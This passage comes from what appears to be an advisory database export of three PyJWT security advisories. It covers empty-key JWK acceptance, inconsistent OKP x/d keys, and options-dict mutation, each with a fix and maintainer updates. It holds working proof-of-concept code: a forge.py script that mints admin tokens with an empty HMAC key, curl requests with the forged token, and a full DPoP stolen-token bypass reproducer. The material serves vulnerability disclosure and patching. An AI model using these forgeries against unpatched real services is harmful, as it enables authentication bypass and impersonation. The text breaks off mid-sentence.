empty `k`, which the \"unset signing secret\" configuration\nproduces. This is the identical trust boundary the string-secret path already\nguards.\n\n### Proof of concept\n\n### End-to-end reproduction against pinned PyPI `pyjwt` 2.13.0 (two deployed Flask services)\n\nTwo services model a standard OIDC-style deployment: an auth service publishing a\nJWKS, and a protected resource server validating bearer tokens against that JWKS\nwith PyJWT's documented `PyJWKClient` pattern. The auth service's signing secret\nis sourced from an unset env var (`SIGNING_SECRET` unset -\u003e `\"\"`), so the\npublished oct JWK carries `k == \"\"`.\n\n`idp.py` (auth service):\n\n```python\nimport os, base64\nfrom flask import Flask, jsonify\napp = Flask(__name__)\nSIGNING_SECRET = os.environ.get(\"SIGNING_SECRET\", \"\")   # UNSET at runtime -\u003e \"\"\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\n\n@app.route(\"/.well-known/jwks.json\")\ndef jwks():\n    return jsonify({\"keys\": [{\n        \"kty\": \"oct\", \"use\": \"sig\", \"alg\": \"HS256\",\n        \"kid\": \"auth-signing-2026\",\n        \"k\": b64u(SIGNING_SECRET.encode()),   # empty secret -\u003e k == \"\"\n    }]})\n\nif __name__ == \"__main__\":\n    app.run(port=9101)\n```\n\n`api.py` (protected resource server):\n\n```python\nfrom flask import Flask, request, jsonify\nimport jwt\nfrom jwt import PyJWKClient\napp = Flask(__name__)\njwks_client = PyJWKClient(\"http://127.0.0.1:9101/.well-known/jwks.json\")\n\ndef authenticate():\n    auth = request.headers.get(\"Authorization\", \"\")\n    if not auth.startswith(\"Bearer \"):\n        return None, \"missing bearer token\"\n    token = auth.split(\" \", 1)[1]\n    try:\n        signing_key = jwks_client.get_signing_key_from_jwt(token)  # resolves by kid\n        claims = jwt.decode(token, signing_key, algorithms=[\"HS256\", \"RS256\"])\n    except Exception as e:\n        return None, \"invalid token: %s\" % type(e).__name__\n    return claims, None\n\n@app.route(\"/api/admin/users\")\ndef admin_users():\n    claims, err = authenticate()\n    if err:\n        return jsonify({\"error\": err}), 401\n    if claims.get(\"role\") != \"admin\":\n        return jsonify({\"error\": \"forbidden\"}), 403\n    return jsonify({\"ok\": True, \"action\": \"list_all_users\",\n                    \"as_user\": claims.get(\"sub\"), \"role\": claims.get(\"role\")})\n\nif __name__ == \"__main__\":\n    app.run(port=9102)\n```\n\n`forge.py` (attacker; no secret knowledge):\n\n```python\nimport hmac, hashlib, base64, json, sys\ndef b64u(b): return base64.urlsafe_b64encode(b).rstrip(b\"=\").decode()\nheader={\"alg\":\"HS256\",\"typ\":\"JWT\",\"kid\":\"auth-signing-2026\"}\npayload={\"sub\":\"attacker@evil.example\",\"role\":\"admin\"}\nsi=b64u(json.dumps(header,separators=(',',':')).encode())+\".\"+b64u(json.dumps(payload,separators=(',',':')).encode())\nkey = sys.argv[1].encode() if len(sys.argv)\u003e1 else b\"\"   # empty key\nsig=hmac.new(key, si.encode(), hashlib.sha256).digest()\nprint(si+\".\"+b64u(sig))\n```\n\nRun:\n\n```bash\npython -m venv v \u0026\u0026 ./v/bin/pip install \"PyJWT==2.13.0\" flask\n( SIGNING_SECRET= ./v/bin/python idp.py \u0026 ) ; ./v/bin/python api.py \u0026\nFORGED=$(./v/bin/python forge.py \"\")\ncurl -s -H \"Authorization: Bearer $FORGED\" http://127.0.0.1:9102/api/admin/users\n```\n\nVerbatim run (attack, both negative controls, sanity, and patched-build re-run):\n\n```\n### PyJWT version\n2.13.0\n\n### JWKS published by the auth service (note the empty \"k\"):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n\n### Baseline: unauthenticated request to admin endpoint\nHTTP 401\n\n### ATTACK: attacker forges HS256 admin token signed with the EMPTY key\nforged token: eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCIsImtpZCI6ImF1dGgtc2lnbmluZy0yMDI2In0.eyJzdWIiOiJhdHRhY2tlckBldmlsLmV4YW1wbGUiLCJyb2xlIjoiYWRtaW4ifQ.iwgDP9D-oD0zXWMEUhx710f_NjHWKkrLVgjPAOtEUSQ\nresponse:\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n  \u003c-- HTTP 200\n\n### NEGATIVE CONTROL 1: forge with a WRONG non-empty key (IdP still empty) -\u003e reject\n{\"error\":\"invalid token: InvalidSignatureError\"}\n  \u003c-- HTTP 401\n\n### NEGATIVE CONTROL 2: IdP restarted with a REAL non-empty secret; empty-key forgery must now fail\nJWKS now has non-empty k:\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"YS1yZWFsLTMyLWJ5dGUtc3Ryb25nLXNlY3JldC12YWx1ZS0xMjM0\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: InvalidSignatureError\"}\n  \u003c-- HTTP 401\n\n### Sanity: a legitimately-signed token with the real secret is accepted\n{\"action\":\"list_all_users\",\"as_user\":\"attacker@evil.example\",\"ok\":true,\"role\":\"admin\"}\n  \u003c-- HTTP 200\n\n### PATCHED BUILD (from_jwk rejects empty k): re-run the empty-key forgery -\u003e now rejected\nJWKS (empty k, vulnerable config):\n{\"keys\":[{\"alg\":\"HS256\",\"k\":\"\",\"kid\":\"auth-signing-2026\",\"kty\":\"oct\",\"use\":\"sig\"}]}\n{\"error\":\"invalid token: PyJWKSetError\"}\n  \u003c-- HTTP 401\n```\n\nThe attack returns HTTP 200 with `role:admin` from an unauthenticated forged\ntoken. Both negative controls (wrong non-empty key; real non-empty secret at the\nauth service) return 401, isolating the defect to empty-key acceptance. The\npatched build (the `from_jwk` fix below) rejects the forgery.\n\n### Impact\n\n- Unauthenticated authentication bypass / token forgery: an attacker mints tokens\n  with arbitrary claims (`role:admin`, arbitrary `sub`) that verify successfully,\n  yielding full impersonation and privilege escalation on any endpoint gated by\n  such tokens.\n- Reachable through the documented JWKS verification API\n  (`PyJWKClient` / `PyJWKSet` / `PyJWK`), not just direct `HMACAlgorithm` use.\n- Triggered by the common \"unset signing secret\" misconfiguration that the\n  string-secret path already rejects in 2.13.0, leaving the JWK path as an\n  asymmetric gap.\n\n### Suggested fix\n\nReject a zero-length key in `HMACAlgorithm.from_jwk`, mirroring the guard that\n`prepare_key` already applies:\n\n```python\nif obj.get(\"kty\") != \"oct\":\n    raise InvalidKeyError(\"Not an HMAC key\")\n\nkey_bytes = base64url_decode(obj[\"k\"])\nif len(key_bytes) == 0:\n    raise InvalidKeyError(\"HMAC key must not be empty.\")\nreturn key_bytes\n```\n\nThis reuses the exact error message and length check the string/bytes path uses,\nso both HMAC key-loading routes enforce the same invariant. A regression test for\nthe empty-`k` oct JWK belongs next to `test_hmac_from_jwk_should_raise_exception_if_empty_json`.\n\n### Fix PR\n\nhttps://github.com/jpadilla/pyjwt-ghsa-pxh4-856f-4h89/pull/1 (private advisory\ntemp fork, base `master`, branch `fix/hmac-from-jwk-reject-empty-key`,\nDCO-signed; adds `test_hmac_from_jwk_rejects_empty_k`; `test_algorithms.py`,\n`test_api_jwk.py`, `test_api_jws.py` pass).\n\n### Credit\n\nReported by tonghuaroot.\n\n\u003e Maintainer update (2026-09-10): We reproduced the reported behavior: an `oct` JWK with an empty `k` value was decoded to an empty HMAC key and accepted through the JWK/PyJWK verification path, while the raw string/bytes path correctly rejected an empty key. The fix adds the same empty-key validation at the JWK boundary and includes a regression test. It is committed as `af8181ca0bec5e6b372fbba9afbe23702b787ceb` and has passed the available project tox environments, including crypto and non-crypto tests on Python 3.9, 3.12, and 3.13, plus mypy, package metadata, and coverage checks. Fresh Astra/max review accepted the fix and confirmed that nonempty, binary, and asymmetric-key behavior remains unchanged. The fix has not yet shipped in a released PyJWT version, so this advisory is being moved to draft and remains unpublished pending release.\n\n## Maintainer update — 2026-09-11\n\nThe verified fix for this advisory is included in PyJWT 2.14.0, released on 2026-09-11 and available on PyPI. PyJWT 2.14.0 is the first release containing the fix. This advisory is now published with 2.14.0 recorded as the patched version.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-22T15:48:04.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":7.4,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-pxh4-856f-4h89","https://github.com/jpadilla/pyjwt/commit/af8181ca0bec5e6b372fbba9afbe23702b787ceb","https://github.com/jpadilla/pyjwt/releases/tag/2.14.0","https://github.com/advisories/GHSA-pxh4-856f-4h89"],"source_kind":"github","identifiers":["GHSA-pxh4-856f-4h89"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-22T16:00:08.228Z","updated_at":"2026-10-24T21:00:12.853Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1weGg0LTg1NmYtNGg4Oc4AB_GE","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1weGg0LTg1NmYtNGg4Oc4AB_GE","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"pyjwt","versions":[{"first_patched_version":"2.14.0","vulnerable_version_range":"\u003c= 2.13.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1weGg0LTg1NmYtNGg4Oc4AB_GE/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS14MzNnLWNyM3gtNjQ0Oc4AB7qy","url":"https://github.com/advisories/GHSA-x33g-cr3x-6449","title":"PyJWT accepts inconsistent OKP x/d JWKs, causing public/private key identity confusion","description":"### Summary\n\nPyJWT accepts internally inconsistent OKP private JWKs where the declared public key `x` does not correspond to the supplied private key `d`.\n\nWhen `d` is present, `OKPAlgorithm.from_jwk()` constructs the Ed25519/Ed448 private key from `d` without verifying that the public key derived from `d` matches `x`. As a result, the original JWK can contain one public key identity while PyJWT performs cryptographic operations using a different key.\n\nIn affected DPoP integrations, this can allow a stolen sender-constrained access token to be used without possession of the legitimate holder's private key.\n\n### Details\n\nThe vulnerable logic is in `jwt/algorithms.py`:\n\n```python\nif \"x\" not in obj:\n    raise InvalidKeyError('OKP should have \"x\" parameter')\n\nx = base64url_decode(obj.get(\"x\"))\n\nif \"d\" not in obj:\n    if curve == \"Ed25519\":\n        return Ed25519PublicKey.from_public_bytes(x)\n    return Ed448PublicKey.from_public_bytes(x)\n\nd = base64url_decode(obj.get(\"d\"))\n\nif curve == \"Ed25519\":\n    return Ed25519PrivateKey.from_private_bytes(d)\n\nreturn Ed448PrivateKey.from_private_bytes(d)\n```\n\nWhen `d` is present, `x` is parsed but never compared with the public key derived from `d`.\n\nFor example, PyJWT accepts:\n\n```json\n{\n  \"kty\": \"OKP\",\n  \"crv\": \"Ed25519\",\n  \"x\": \"\u003clegitimate-user-public-key\u003e\",\n  \"d\": \"\u003cattacker-private-key\u003e\"\n}\n```\n\neven though `x` and `d` belong to different key pairs.\n\nThe behavior has existed since OKP private-JWK import was introduced:\n\n* Ed25519: PyJWT 2.1.0+\n* Ed448: PyJWT 2.2.0+\n* Confirmed through PyJWT 2.14.0 and current master\n\nA correct import should derive the public key from `d` and reject the JWK when it does not equal the supplied `x`.\n\n### PoC\n\nThe reproducer creates two Ed25519 keypairs:\n\n* a legitimate holder keypair\n* an attacker keypair\n\nIt then:\n\n1. Creates an access token whose `cnf.jkt` is bound to the legitimate public key.\n2. Creates a DPoP proof JWK containing the legitimate user's `x` together with the attacker's `d`.\n3. Computes the RFC 7638 thumbprint from `x`, which still matches the access-token binding.\n4. Passes the complete JWK to `PyJWK.from_dict()`.\n5. PyJWT imports the private key from the attacker-controlled `d`.\n6. A DPoP proof signed with the attacker's private key verifies successfully.\n\nObserved result:\n\n```text\nthumbprint_matches: true\nactual_key_is_attacker_key: true\nactual_key_matches_declared_x: false\nstolen_sender_constrained_token_accepted: true\nattacker_has_legitimate_private_key: false\n```\n\nTested on PyJWT 2.13.0, PyJWT 2.14.0, and current master.\n\nThe complete reproducer is:\n```python\n#!/usr/bin/env python3\n\n\nfrom __future__ import annotations\n\nimport base64\nimport hashlib\nimport json\nimport os\nimport platform\nimport time\nfrom importlib.metadata import version\nfrom typing import Any\n\nimport jwt\nfrom cryptography.hazmat.primitives.asymmetric.ed25519 import Ed25519PrivateKey\nfrom cryptography.hazmat.primitives.serialization import (\n    Encoding,\n    NoEncryption,\n    PrivateFormat,\n    PublicFormat,\n)\n\n\nACCESS_TOKEN_SECRET = b\"synthetic-authorization-server-key-32b\"\nHTTP_METHOD = \"GET\"\nHTTP_URI = \"https://resource.example/protected\"\n\n\ndef b64url(raw: bytes) -\u003e str:\n    return base64.urlsafe_b64encode(raw).rstrip(b\"=\").decode(\"ascii\")\n\n\ndef public_x(private_key: Ed25519PrivateKey) -\u003e str:\n    return b64url(private_key.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw))\n\n\ndef private_d(private_key: Ed25519PrivateKey) -\u003e str:\n    return b64url(\n        private_key.private_bytes(Encoding.Raw, PrivateFormat.Raw, NoEncryption())\n    )\n\n\ndef jwk_thumbprint(jwk: dict[str, Any]) -\u003e str:\n    canonical = json.dumps(\n        {\"crv\": jwk[\"crv\"], \"kty\": jwk[\"kty\"], \"x\": jwk[\"x\"]},\n        separators=(\",\", \":\"),\n        sort_keys=True,\n    ).encode(\"ascii\")\n    return b64url(hashlib.sha256(canonical).digest())\n\n\ndef access_token_hash(access_token: str) -\u003e str:\n    return b64url(hashlib.sha256(access_token.encode(\"ascii\")).digest())\n\n\ndef verify_resource_request(\n    access_token: str,\n    proof: str,\n    *,\n    reject_private_header_jwk: bool = False,\n) -\u003e dict[str, Any]:\n    \"\"\"Model the security-relevant stages of an RFC 9449 resource server.\"\"\"\n    access_claims = jwt.decode(\n        access_token,\n        ACCESS_TOKEN_SECRET,\n        algorithms=[\"HS256\"],\n        issuer=\"https://authorization.example\",\n        audience=\"resource-api\",\n        options={\"require\": [\"exp\", \"iss\", \"aud\", \"sub\", \"cnf\"]},\n    )\n    header = jwt.get_unverified_header(proof)\n    if header.get(\"typ\") != \"dpop+jwt\" or header.get(\"alg\") != \"EdDSA\":\n        raise ValueError(\"invalid DPoP header policy\")\n    jwk = header.get(\"jwk\")\n    if not isinstance(jwk, dict):\n        raise ValueError(\"missing DPoP JWK\")\n    if reject_private_header_jwk and any(\n        member in jwk for member in (\"d\", \"p\", \"q\", \"dp\", \"dq\", \"qi\", \"k\")\n    ):\n        raise ValueError(\"DPoP header JWK contains private material\")\n    if jwk_thumbprint(jwk) != access_claims[\"cnf\"][\"jkt\"]:\n        raise ValueError(\"DPoP key does not match cnf.jkt\")\n\n    key = jwt.PyJWK.from_dict(jwk)\n    proof_claims = jwt.decode(\n        proof,\n        key,\n        algorithms=[\"EdDSA\"],\n        options={\"require\": [\"htm\", \"htu\", \"iat\", \"jti\", \"ath\"]},\n    )\n    if proof_claims[\"htm\"] != HTTP_METHOD or proof_claims[\"htu\"] != HTTP_URI:\n        raise ValueError(\"DPoP request binding mismatch\")\n    if proof_claims[\"ath\"] != access_token_hash(access_token):\n        raise ValueError(\"DPoP access-token hash mismatch\")\n    return access_claims\n\n\ndef main() -\u003e None:\n    legitimate_holder = Ed25519PrivateKey.generate()\n    attacker = Ed25519PrivateKey.generate()\n    legitimate_x = public_x(legitimate_holder)\n    attacker_x = public_x(attacker)\n\n    legitimate_public_jwk = {\n        \"alg\": \"EdDSA\",\n        \"crv\": \"Ed25519\",\n        \"kty\": \"OKP\",\n        \"x\": legitimate_x,\n    }\n    mismatched_proof_jwk = {\n        **legitimate_public_jwk,\n        \"d\": private_d(attacker),\n    }\n    pinned_jkt = jwk_thumbprint(legitimate_public_jwk)\n\n    now = int(time.time())\n    access_token = jwt.encode(\n        {\n            \"aud\": \"resource-api\",\n            \"cnf\": {\"jkt\": pinned_jkt},\n            \"exp\": now + 300,\n            \"iat\": now,\n            \"iss\": \"https://authorization.example\",\n            \"scope\": \"admin:read\",\n            \"sub\": \"legitimate-holder\",\n        },\n        ACCESS_TOKEN_SECRET,\n        algorithm=\"HS256\",\n    )\n    proof_claims = {\n        \"ath\": access_token_hash(access_token),\n        \"htm\": HTTP_METHOD,\n        \"htu\": HTTP_URI,\n        \"iat\": now,\n        \"jti\": \"synthetic-attacker-proof\",\n    }\n    attacker_proof = jwt.encode(\n        proof_claims,\n        attacker,\n        algorithm=\"EdDSA\",\n        headers={\"jwk\": mismatched_proof_jwk, \"typ\": \"dpop+jwt\"},\n    )\n\n    imported = jwt.PyJWK.from_dict(mismatched_proof_jwk).key\n    imported_x = b64url(\n        imported.public_key().public_bytes(Encoding.Raw, PublicFormat.Raw)\n    )\n    accepted_claims = verify_resource_request(access_token, attacker_proof)\n\n    public_only_rejected = False\n    public_only_error = None\n    public_only_proof = jwt.encode(\n        proof_claims,\n        attacker,\n        algorithm=\"EdDSA\",\n        headers={\"jwk\": legitimate_public_jwk, \"typ\": \"dpop+jwt\"},\n    )\n    try:\n        verify_resource_request(access_token, public_only_proof)\n    except Exception as error:\n        public_only_rejected = True\n        public_only_error = type(error).__name__\n\n    private_member_control_rejected = False\n    private_member_control_error = None\n    try:\n        verify_resource_request(\n            access_token,\n            attacker_proof,\n            reject_private_header_jwk=True,\n        )\n    except Exception as error:\n        private_member_control_rejected = True\n        private_member_control_error = type(error).__name__\n\n    result = {\n        \"environment\": {\n            \"PyJWT\": jwt.__version__,\n            \"PyJWT_source\": str(jwt.__file__),\n            \"Python\": platform.python_version(),\n            \"cryptography\": version(\"cryptography\"),\n            \"source_ref\": os.environ.get(\"PYJWT_SOURCE_REF\", \"installed-release\"),\n        },\n        \"dpop_binding\": {\n            \"access_token_subject\": accepted_claims[\"sub\"],\n            \"access_token_scope\": accepted_claims[\"scope\"],\n            \"pinned_jkt\": pinned_jkt,\n            \"proof_jkt\": jwk_thumbprint(mismatched_proof_jwk),\n            \"thumbprint_matches\": jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt,\n        },\n        \"imported_key\": {\n            \"declared_x\": legitimate_x,\n            \"attacker_x\": attacker_x,\n            \"actual_imported_x\": imported_x,\n            \"actual_key_is_attacker_key\": imported_x == attacker_x,\n            \"actual_key_matches_declared_x\": imported_x == legitimate_x,\n        },\n        \"vulnerable_composition\": {\n            \"stolen_sender_constrained_token_accepted\": accepted_claims[\"sub\"]\n            == \"legitimate-holder\",\n            \"attacker_has_legitimate_private_key\": False,\n        },\n        \"controls\": {\n            \"public_only_jwk_rejected\": public_only_rejected,\n            \"public_only_error\": public_only_error,\n            \"reject_private_header_jwk_blocks_attack\": private_member_control_rejected,\n            \"private_member_control_error\": private_member_control_error,\n        },\n    }\n\n    assert jwk_thumbprint(mismatched_proof_jwk) == pinned_jkt\n    assert imported_x == attacker_x\n    assert imported_x != legitimate_x\n    assert accepted_claims[\"sub\"] == \"legitimate-holder\"\n    assert public_only_rejected and public_only_error == \"InvalidSignatureError\"\n    assert private_member_control_rejected and private_member_control_error == \"ValueError\"\n    print(json.dumps(result, indent=2, sort_keys=True))\n\n\nif __name__ == \"__main__\":\n    main()\n\n```\n```text\n06-practical-testing/pyjwt-okp-dpop-binding-bypass-lab.py\n```\n\nA public example of the affected composition exists in StrongDM's `agentic-auth` Flask middleware: it computes an OKP thumbprint from `x` and subsequently passes the entire JWK to `PyJWK.from_dict()` for EdDSA DPoP verification without rejecting `d`.\n\n### Impact\n\nThe PyJWT-owned issue is acceptance of internally inconsistent cryptographic key material: the JWK can declare one public key while the operative private key corresponds to another.\n\nIn a DPoP verifier that:\n\n* calculates `cnf.jkt` / JWK thumbprints from the declared `x`,\n* passes the same JWK to PyJWT for signature verification, and\n* does not reject private JWK parameters,\n\nan attacker who steals a sender-constrained access token can use the token without possessing the legitimate holder's private key.\n\nRFC 9449 §4.2 requires DPoP implementations to reject private key parameters in proof JWKs. Therefore the demonstrated authentication bypass additionally requires a DPoP implementation that omits this check. RFC-compliant DPoP implementations that reject `d` are not vulnerable to the demonstrated attack.\n\n### Maintainer assessment (2026-09-12)\n\nWe independently reproduced the PyJWT-owned issue: importing a private OKP JWK with non-corresponding `x` and `d` components returned the private key derived from `d` while accepting the conflicting declared public identity. The precise library impact is loss of JWK key-component consistency; a caller that uses `x` as the JWK identity and the returned key for cryptographic operations can act on two different key identities.\n\nExact boundary checks found Ed25519 JWK import absent in 2.0.1 and the inconsistent-pair behavior present in 2.1.0. Ed448 JWK import was absent in 2.1.0 and the behavior was present in 2.2.0. Both curves reproduced in 2.14.0 and the tested pre-fix source. These samples support the existing affected metadata (`\u003e= 2.1.0, \u003c= 2.14.0`) and the per-curve introduction points, but do not claim exhaustive testing of every intervening release.\n\nThe fix is on `master` in commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. It derives the public bytes from `d`, compares them with `x`, and rejects a mismatch. Fresh independent Astra/max review accepted the exact tree `9f219601e39026c7094d48f3fbb6678951878aa8` with no blocking findings or required revisions. Targeted red/green and sibling-path checks passed, and the exact repository CI command `python -m tox` passed all 35 required environments both before and after the commit.\n\nThe reported DPoP stolen-token scenario additionally requires an application to pass a private JWK from the proof header without rejecting private-key parameters. RFC 9449 sections 4.2 and 4.3 require such parameters to be absent or rejected, so that bypass is application-dependent and outside PyJWT's security-policy scope; it is not used to characterize the PyJWT-owned impact.\n\nThe fix is not yet contained in a released PyJWT 2.x version, so `patched_versions` remains empty and this advisory remains unpublished. The next lifecycle step is to move the advisory from triage to draft now that the verified fix is on `master`; publication must wait until a new released 2.x version is confirmed to contain the fix and is recorded as the patched boundary.\n---\n\n### Maintainer release update (2026-09-23)\n\nPyJWT 2.15.0 is the first released version containing the OKP JWK consistency fix. Its GitHub release tag points to commit `1d41a6478e1562e68ff667fcd703356acf085f68`, which includes fix commit `3cd9ceec33ced359decbad75b413ad668ae6332c`. PyPI published both the wheel and source distribution from that release commit through the successful production workflow at https://github.com/jpadilla/pyjwt/actions/runs/35891602963.\n\nThe published PyPI wheel (`pyjwt-2.15.0-py3-none-any.whl`, SHA-256 `7a3742debf6b879e912dbb9819ceec1594be812452b78c5f2e2dfc56564954f8`) was checked directly: matching Ed25519 and Ed448 `x`/`d` private JWK components import successfully, while mismatched components raise `InvalidKeyError`. The supported affected range remains `\u003e= 2.1.0, \u003c= 2.14.0`; the patched version is `2.15.0`. The earlier statement that no released patched version exists is superseded by this update.\n\nThe PyJWT-owned impact is acceptance of internally inconsistent OKP key material in affected versions. The reported DPoP stolen-token scenario additionally requires an application to accept private key parameters from a proof header, contrary to RFC 9449; it is not the basis for this advisory's classification. CVSS v3.1 6.5 (Medium), CWE-345, and CWE-348 are unchanged.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-05T23:44:03.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:L/I:H/A:N","references":["https://github.com/jpadilla/pyjwt/security/advisories/GHSA-x33g-cr3x-6449","https://nvd.nist.gov/vuln/detail/CVE-2026-102275","https://github.com/jpadilla/pyjwt/commit/3cd9ceec33ced359decbad75b413ad668ae6332c","https://github.com/jpadilla/pyjwt/releases/tag/2.15.0","https://github.com/advisories/GHSA-x33g-cr3x-6449"],"source_kind":"github","identifiers":["GHSA-x33g-cr3x-6449","CVE-2026-102275"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-06T00:00:16.069Z","updated_at":"2026-12-03T11:01:47.768Z","epss_percentage":0.00167,"epss_percentile":0.0625,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MzNnLWNyM3gtNjQ0Oc4AB7qy","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS14MzNnLWNyM3gtNjQ0Oc4AB7qy","affected_repository_urls":[],"packages":[{"ecosystem":"pypi","package_name":"PyJWT","versions":[{"first_patched_version":"2.15.0","vulnerable_version_range":"\u003e= 2.1.0, \u003c= 2.14.0"}],"purl":"pkg:pypi/pyjwt"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS14MzNnLWNyM3gtNjQ0Oc4AB7qy/related_packages","related_advisories":[{"uuid":"CVE-2026-102275","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/102xxx/CVE-2026-102275.json"},{"uuid":"DEBIAN-CVE-2026-102275","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-102275"},{"uuid":"UBUNTU-CVE-2026-102275","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8934-1"},{"uuid":"USN-8934-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-8934-1"}]},{"uuid":"GSA_kwCzR0hTQS1ndnA4LTk3OGMtcngycc4AB7Rk","url":"https://github.com/advisories/GHSA-gvp8-978c-rx2q","title":"PyJWT.decode() reintroduces options-dict mutation, enabling silent claim-verification bypass on dict reuse","description":"### Summary\n\n`PyJWT.decode()`/`decode_complete()` mutates a caller-supplied `options` dict in place whenever `verify_signature` is falsy, adding `verify_exp`/`verify_nbf`/`verify_iat`/`verify_aud`/`verify_iss`/`verify_sub`/`verify_jti` keys directly onto that object. If application code reuses the same `options` dict across calls (a config object, a module-level constant, a wrapper's `self.options`), a later call that explicitly sets `verify_signature=True` for a full, normal verification silently inherits the leftover `verify_exp=False` etc. from an earlier `verify_signature=False` call on the same object -- and accepts an expired, wrong-audience, wrong-issuer, or wrong-subject token as valid with no exception. Signature verification itself is unaffected; this is specifically a claims-check bypass.\n\nThis is a regression of an already-fixed, closed issue: originally reported in #679 (2021), fixed in #743 (2022, via a shallow copy of `options`), and silently reintroduced by #1045 (merged 2025-03-05, a typing/logic refactor that dropped the 2022 shallow-copy line). It has been present since #1045 merged, so it likely shipped in several releases already in the wild.\n\n### Details\n\nFile: `jwt/api_jwt.py`, `PyJWT._merge_options()` (called from `decode_complete()`, which backs both `jwt.decode()` and `jwt.decode_complete()`):\n\n```python\ndef _merge_options(self, options=None):\n    if options is None:\n        return self.options\n    if not options.get(\"verify_signature\", True):\n        options[\"verify_exp\"] = options.get(\"verify_exp\", False)\n        options[\"verify_nbf\"] = options.get(\"verify_nbf\", False)\n        # ...5 more, same pattern -- all written directly onto the caller's dict\n    return {**self.options, **options}\n```\n\nNo `dict(options)` copy occurs before these writes, unlike the pre-2025-03-05 code (see #743's fix, `options = dict(options or {})`). Confirmed via `gh api repos/jpadilla/pyjwt/commits/29fbfc36` that #1045's diff removes that line. Confirmed still present on current `main` via a live fetch of `jwt/api_jwt.py`.\n\n### PoC\n\nTwo scripts, each run twice (separate processes), identical output both times (except Python object `id()`), saved locally and available on request:\n\n```python\nimport jwt, time\n\nINSECURE_OPTIONS = {\"verify_signature\": False}\n\nsecret = \"s3cr3t\"\nexpired_token = jwt.encode(\n    {\"exp\": int(time.time()) - 3600, \"data\": \"x\"}, secret, algorithm=\"HS256\"\n)\n\njwt.decode(expired_token, options=INSECURE_OPTIONS)\nprint(INSECURE_OPTIONS)\n# The dict has been silently mutated with 7 new keys, including verify_exp: False.\n\nINSECURE_OPTIONS[\"verify_signature\"] = True\nresult = jwt.decode(expired_token, secret, algorithms=[\"HS256\"], options=INSECURE_OPTIONS)\nprint(result)\n# No exception raised. Expected: jwt.ExpiredSignatureError, since verify_signature=True\n# was explicitly requested on this call.\n```\n\nReproduced deterministically across 2 independent process runs.\n\n### Impact\n\nPreconditions: the calling application must reuse a mutable `options` dict object across two or more `decode()`/`decode_complete()` calls with different intent (e.g. one \"insecure peek\" call followed by a \"fully verified\" call on the same dict, config object, or instance attribute). This is a real, plausible pattern but not universal; it does not affect code that constructs a fresh `options` dict per call.\n\nWhen triggered: a signed-but-expired (or wrong-aud/iss/sub/jti) token is silently accepted as fully verified, with no warning or exception. This is an authentication/claims-verification bypass, not a signature-verification bypass.\n\nScope: regression present since PR #1045 (merged 2025-03-05), affecting every PyJWT release since then up to and including the current 2.13.0.\n\nSuggested fix: restore a shallow copy inside `_merge_options()` itself (rather than relying on a caller-side copy), so every caller of `_merge_options` is covered:\n\n```python\ndef _merge_options(self, options=None):\n    if options is None:\n        return self.options\n    options = dict(options)  # never mutate the caller's dict\n    if not options.get(\"verify_signature\", True):\n        options.setdefault(\"verify_exp\", False)\n        options.setdefault(\"verify_nbf\", False)\n        options.setdefault(\"verify_iat\", False)\n        options.setdefault(\"verify_aud\", False)\n        options.setdefault(\"verify_iss\", False)\n        options.setdefault(\"verify_sub\", False)\n        options.setdefault(\"verify_jti\", False)\n    return {**self.options, **options}\n```\n\nFound via a property-based audit (copy/clone independence across widely-used Python libraries); both repro scripts were written and independently re-run before this report.\n\n## Maintainer update — 2026-09-08\n\nWe reproduced the reported behavior on PyJWT 2.13.0 at source SHA `7144e4534c34810f4525dc4578a32addd8212cff`. A caller-supplied mutable `options` mapping was modified when `verify_signature` was false; reusing that mapping after re-enabling signature verification could leave registered-claim checks disabled. This is a conditional claim-verification bypass, not a signature-forgery issue.\n\nA narrow fix has been prepared: PyJWT now copies the options mapping before applying defaults. Regression coverage includes `decode()`, `decode_complete()`, constructor input preservation, mutable-mapping compatibility, and reuse of an options mapping across verification modes. The focused tests pass, the full suite passes with 369 tests and 4 intentional cryptography-environment skips, and lint/format/type checks pass.\n\nThe advisory remains in triage while the fix goes through release planning. The independently verified range in this investigation is 2.13.0; reports of earlier affected versions should include the exact version and reproduction 